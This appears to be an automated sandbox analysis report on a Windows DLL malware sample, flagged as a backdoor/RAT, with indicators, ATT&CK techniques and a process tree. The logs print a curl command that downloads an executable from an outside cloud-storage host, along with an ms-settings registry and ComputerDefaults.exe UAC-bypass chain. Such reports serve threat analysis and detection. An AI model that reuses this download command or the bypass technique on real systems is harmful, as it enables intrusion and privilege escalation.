0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 11:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee.dll
Size 7.9MB
Sample260924-npg6bscf49
SHA256 0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee
MD5 89d35c158ab755067267a298733e8cd9
SHA1 a3c3645420cacac6375d6a34e80bc98981ec37c7
SHA512 a0b9af33da9cf3ebaaa29e74a2433ecf4b8ef024046d0caaf37f1eb98348f3afa25e7a34f82683bb0d5144bd67f4aaa34b3965840ba2d1ee7ee88b4a68afe2c7
SSDEEP 196608:SLKUlnsEJeZIamryhtnO9/jPbMGgJvu4O7NADtV6v+:mxlNK/O9rPQGT7
TLSH
T18786E11A3D5C106BD03A3330CE98A2F8F7AEAD607A67045739F4B91EA679F013E0555B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

backdoor discovery execution rat

Malware Config

Signatures

Downloads MZ/PE file 2 IoCs

flow	pid	Process
9	3396	curl.exe
13	3240	curl.exe

DCAgent remote management tool 2 IoCs

DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

backdoor rat

resource	yara_rule
behavioral2/files/0x000d00000001c52f-227.dat	hacktool_dcagent
behavioral2/files/0x000c00000001c56a-485.dat	hacktool_dcagent

Executes dropped EXE 16 IoCs

pid	Process
3852	767.ynD
1512	TMfGrpLjapJKxcEouDvtkvobpWtMDvKM.erO.exe
5560	PKrKMNHzFvHELKzvQQxhDvXcWFvjOtaL.Mys.exe
4196	ZJsOvVOIaUBfUVqllnnuHwfpWeDhOrSd.ThI.exe
5492	gDUuYRjcSugOHVnuCFHlLmAMZpFfnXQl.bzC.exe
5664	GRQwDvEoYbGZLZaeDmPAhieCpJGRvxGc.KhC.exe
5072	onxUUwloQoAUFlNNVoxrLtQuDCCMHgYw.POl.exe
1592	UZQTVOWrkGnYqysjwDgwIBWIGCFvDFpP.phJ.exe
5456	RpoxGNraGiLzODafsjnHXvnnYrddQwTD.Nih.exe
4880	frFKzzsJSpCjscyBRYPtZrFwEodSeGPm.aGr.exe
5500	jiptIiPqlcmIJYOGaZODtxQCMKIuaJTW.arV.exe
2708	bbsHHHaXOtjNpYFScPmUxdKatmdoBxUe.LcL.exe
4516	HMXTnSHkvISQfnPFQKrXyzWpgCfEFVUy.zLs.exe
5228	qLBJDABxQapGTmrbxvaDnRatKPPkXgvm.DaT.exe
2532	eOltBWePDCqvqTyuCfswLoTYrPYKoAgV.daO.exe
5448	vudgaRv923.6.5767.71931.EXE

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5908	icacls.exe
6060	icacls.exe
4432	icacls.exe
128	icacls.exe
2636	icacls.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 5 IoCs

execution

Visual Basic

T1059.005

pid	Process
1452	WScript.exe
5240	WScript.exe
4768	WScript.exe
708	WScript.exe
5192	WScript.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5244	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 31 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/jSLAShOJSqawsvzKxlUSkpNbXxwexCiX.NRq/frFKzzsJSpCjscyBRYPtZrFwEodSeGPm.aGr.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/QzQCabxektExyIODNQswERbfgbdDSWmh.uBU/eOltBWePDCqvqTyuCfswLoTYrPYKoAgV.daO.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/xeUXYXbSnQTpukUlaSCSpsliYmqytVHh.Ytr/gDUuYRjcSugOHVnuCFHlLmAMZpFfnXQl.bzC.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\DelegateExecute = "픀"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/ZYAgliRHLinfJrHlMAhUoBIlMmPLVZcd.ati/onxUUwloQoAUFlNNVoxrLtQuDCCMHgYw.POl.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/aZImvcZLoyvWFfTzzBzDeoAtHfvDuaUY.OJy/jiptIiPqlcmIJYOGaZODtxQCMKIuaJTW.arV.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/BpBjRIohNwdAmlKZoBXLgJHlSayNseMK.zxc/UZQTVOWrkGnYqysjwDgwIBWIGCFvDFpP.phJ.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/IjpHLswosHKpPNTcRbZbmoODYOEMSoGn.whY/RpoxGNraGiLzODafsjnHXvnnYrddQwTD.Nih.exe"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\DelegateExecute = "眀"	rundll32.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/xrvnrGDlUMJMaISuHvvZROLWMJDubpHk.qzH/PKrKMNHzFvHELKzvQQxhDvXcWFvjOtaL.Mys.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/VseLTXQZLmPzMLATIZOotmmCVwxAMpZX.Uez/bbsHHHaXOtjNpYFScPmUxdKatmdoBxUe.LcL.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\DelegateExecute = "쨀"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/xMAYCftfTLYSbEzeUoNhYomxYAhcCGqY.HVx/HMXTnSHkvISQfnPFQKrXyzWpgCfEFVUy.zLs.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/EFnHbrMfbITajMiutEELTsJYdoeDTKbA.dRG/GRQwDvEoYbGZLZaeDmPAhieCpJGRvxGc.KhC.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\DelegateExecute = "开"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/LqcKAvSpybrrzomPAKtFfIFYMfPMmXtw.QEo/qLBJDABxQapGTmrbxvaDnRatKPPkXgvm.DaT.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\DelegateExecute = "豈"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/TTcsMGFtLNeERTUuHdDhRjUNAXrnmGbi.XwZ/nZOZhQxFcjOOxPGaEExuVtZvFHcKXeDd.SFu.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/esslWKdGsOKSKzAktjecGtQbyAcilefw.EIL/ZJsOvVOIaUBfUVqllnnuHwfpWeDhOrSd.ThI.exe"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/dVnSyIbWcNyEAddjSyliMjsXjWcEOVln.dCB/TMfGrpLjapJKxcEouDvtkvobpWtMDvKM.erO.exe"	rundll32.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open	rundll32.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings	rundll32.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\DelegateExecute = "砀"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\DelegateExecute	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\ms-settings\Shell\open\command\DelegateExecute = "ༀ"	rundll32.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe
4124	rundll32.exe

Suspicious behavior: LoadsDriver 33 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4124	rundll32.exe
Token: SeLoadDriverPrivilege	4124	rundll32.exe
Token: SeTakeOwnershipPrivilege	4124	rundll32.exe
Token: SeIncBasePriorityPrivilege	4124	rundll32.exe
Token: SeTcbPrivilege	4124	rundll32.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 3568 wrote to memory of 4124	3568	rundll32.exe	88
PID 4124 wrote to memory of 2628	4124	rundll32.exe	93
PID 2628 wrote to memory of 2084	2628	cmd.exe	95
PID 2084 wrote to memory of 1512	2084	ComputerDefaults.exe	96
PID 4124 wrote to memory of 5964	4124	rundll32.exe	98
PID 5964 wrote to memory of 720	5964	cmd.exe	100
PID 720 wrote to memory of 5560	720	ComputerDefaults.exe	101
PID 4124 wrote to memory of 5812	4124	rundll32.exe	102
PID 5812 wrote to memory of 1668	5812	cmd.exe	104
PID 1668 wrote to memory of 4196	1668	ComputerDefaults.exe	105
PID 4124 wrote to memory of 2580	4124	rundll32.exe	106
PID 2580 wrote to memory of 3652	2580	cmd.exe	108
PID 3652 wrote to memory of 5492	3652	ComputerDefaults.exe	109
PID 4124 wrote to memory of 5152	4124	rundll32.exe	110
PID 5152 wrote to memory of 592	5152	cmd.exe	112
PID 592 wrote to memory of 5664	592	ComputerDefaults.exe	113
PID 4124 wrote to memory of 5856	4124	rundll32.exe	114
PID 5856 wrote to memory of 4328	5856	cmd.exe	116
PID 4328 wrote to memory of 5072	4328	ComputerDefaults.exe	117
PID 4124 wrote to memory of 476	4124	rundll32.exe	118
PID 476 wrote to memory of 1312	476	cmd.exe	120
PID 1312 wrote to memory of 1592	1312	ComputerDefaults.exe	121
PID 4124 wrote to memory of 1448	4124	rundll32.exe	122
PID 1448 wrote to memory of 4356	1448	cmd.exe	124
PID 4356 wrote to memory of 5456	4356	ComputerDefaults.exe	125
PID 4124 wrote to memory of 2700	4124	rundll32.exe	126
PID 2700 wrote to memory of 5784	2700	cmd.exe	128
PID 5784 wrote to memory of 4880	5784	ComputerDefaults.exe	129
PID 4124 wrote to memory of 1308	4124	rundll32.exe	130
PID 1308 wrote to memory of 4236	1308	cmd.exe	132
PID 4236 wrote to memory of 5500	4236	ComputerDefaults.exe	133
PID 4124 wrote to memory of 4444	4124	rundll32.exe	134
PID 4444 wrote to memory of 1408	4444	cmd.exe	136
PID 1408 wrote to memory of 2708	1408	ComputerDefaults.exe	137
PID 4124 wrote to memory of 3008	4124	rundll32.exe	138
PID 3008 wrote to memory of 3264	3008	cmd.exe	140
PID 3264 wrote to memory of 4516	3264	ComputerDefaults.exe	141
PID 4124 wrote to memory of 3396	4124	rundll32.exe	142
PID 4124 wrote to memory of 5780	4124	rundll32.exe	144
PID 5780 wrote to memory of 3000	5780	cmd.exe	146
PID 3000 wrote to memory of 5228	3000	ComputerDefaults.exe	147
PID 4124 wrote to memory of 4860	4124	rundll32.exe	148
PID 4124 wrote to memory of 3240	4124	rundll32.exe	149
PID 4860 wrote to memory of 2408	4860	cmd.exe	152
PID 2408 wrote to memory of 2532	2408	ComputerDefaults.exe	153
PID 4124 wrote to memory of 5448	4124	rundll32.exe	154
PID 4124 wrote to memory of 5744	4124	rundll32.exe	155
PID 5744 wrote to memory of 5804	5744	cmd.exe	157

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	9	curl/8.8.0
HTTP User-Agent header	13	curl/8.8.0

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3568
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee.dll,#1
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4124
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2084
    - - C:\ProgramData\dVnSyIbWcNyEAddjSyliMjsXjWcEOVln.dCB\TMfGrpLjapJKxcEouDvtkvobpWtMDvKM.erO.exe
        
        "TMfGrpLjapJKxcEouDvtkvobpWtMDvKM.erO.exe"
        5⤵
        Executes dropped EXE
        
        PID:1512
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5964
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:720
    - - C:\ProgramData\xrvnrGDlUMJMaISuHvvZROLWMJDubpHk.qzH\PKrKMNHzFvHELKzvQQxhDvXcWFvjOtaL.Mys.exe
        
        "PKrKMNHzFvHELKzvQQxhDvXcWFvjOtaL.Mys.exe"
        5⤵
        Executes dropped EXE
        
        PID:5560
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5812
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1668
    - - C:\ProgramData\esslWKdGsOKSKzAktjecGtQbyAcilefw.EIL\ZJsOvVOIaUBfUVqllnnuHwfpWeDhOrSd.ThI.exe
        
        "ZJsOvVOIaUBfUVqllnnuHwfpWeDhOrSd.ThI.exe"
        5⤵
        Executes dropped EXE
        
        PID:4196
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2580
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3652
    - - C:\ProgramData\xeUXYXbSnQTpukUlaSCSpsliYmqytVHh.Ytr\gDUuYRjcSugOHVnuCFHlLmAMZpFfnXQl.bzC.exe
        
        "gDUuYRjcSugOHVnuCFHlLmAMZpFfnXQl.bzC.exe"
        5⤵
        Executes dropped EXE
        
        PID:5492
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5152
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:592
    - - C:\ProgramData\EFnHbrMfbITajMiutEELTsJYdoeDTKbA.dRG\GRQwDvEoYbGZLZaeDmPAhieCpJGRvxGc.KhC.exe
        
        "GRQwDvEoYbGZLZaeDmPAhieCpJGRvxGc.KhC.exe"
        5⤵
        Executes dropped EXE
        
        PID:5664
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5856
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4328
    - - C:\ProgramData\ZYAgliRHLinfJrHlMAhUoBIlMmPLVZcd.ati\onxUUwloQoAUFlNNVoxrLtQuDCCMHgYw.POl.exe
        
        "onxUUwloQoAUFlNNVoxrLtQuDCCMHgYw.POl.exe"
        5⤵
        Executes dropped EXE
        
        PID:5072
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:476
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1312
    - - C:\ProgramData\BpBjRIohNwdAmlKZoBXLgJHlSayNseMK.zxc\UZQTVOWrkGnYqysjwDgwIBWIGCFvDFpP.phJ.exe
        
        "UZQTVOWrkGnYqysjwDgwIBWIGCFvDFpP.phJ.exe"
        5⤵
        Executes dropped EXE
        
        PID:1592
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1448
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4356
    - - C:\ProgramData\IjpHLswosHKpPNTcRbZbmoODYOEMSoGn.whY\RpoxGNraGiLzODafsjnHXvnnYrddQwTD.Nih.exe
        
        "RpoxGNraGiLzODafsjnHXvnnYrddQwTD.Nih.exe"
        5⤵
        Executes dropped EXE
        
        PID:5456
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2700
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5784
    - - C:\ProgramData\jSLAShOJSqawsvzKxlUSkpNbXxwexCiX.NRq\frFKzzsJSpCjscyBRYPtZrFwEodSeGPm.aGr.exe
        
        "frFKzzsJSpCjscyBRYPtZrFwEodSeGPm.aGr.exe"
        5⤵
        Executes dropped EXE
        
        PID:4880
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4236
    - - C:\ProgramData\aZImvcZLoyvWFfTzzBzDeoAtHfvDuaUY.OJy\jiptIiPqlcmIJYOGaZODtxQCMKIuaJTW.arV.exe
        
        "jiptIiPqlcmIJYOGaZODtxQCMKIuaJTW.arV.exe"
        5⤵
        Executes dropped EXE
        
        PID:5500
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1408
    - - C:\ProgramData\VseLTXQZLmPzMLATIZOotmmCVwxAMpZX.Uez\bbsHHHaXOtjNpYFScPmUxdKatmdoBxUe.LcL.exe
        
        "bbsHHHaXOtjNpYFScPmUxdKatmdoBxUe.LcL.exe"
        5⤵
        Executes dropped EXE
        
        PID:2708
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3264
    - - C:\ProgramData\xMAYCftfTLYSbEzeUoNhYomxYAhcCGqY.HVx\HMXTnSHkvISQfnPFQKrXyzWpgCfEFVUy.zLs.exe
        
        "HMXTnSHkvISQfnPFQKrXyzWpgCfEFVUy.zLs.exe"
        5⤵
        Executes dropped EXE
        
        PID:4516
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\vudgaRv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    - Downloads MZ/PE file
    PID:3396
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5780
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3000
    - - C:\ProgramData\LqcKAvSpybrrzomPAKtFfIFYMfPMmXtw.QEo\qLBJDABxQapGTmrbxvaDnRatKPPkXgvm.DaT.exe
        
        "qLBJDABxQapGTmrbxvaDnRatKPPkXgvm.DaT.exe"
        5⤵
        Executes dropped EXE
        
        PID:5228
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4860
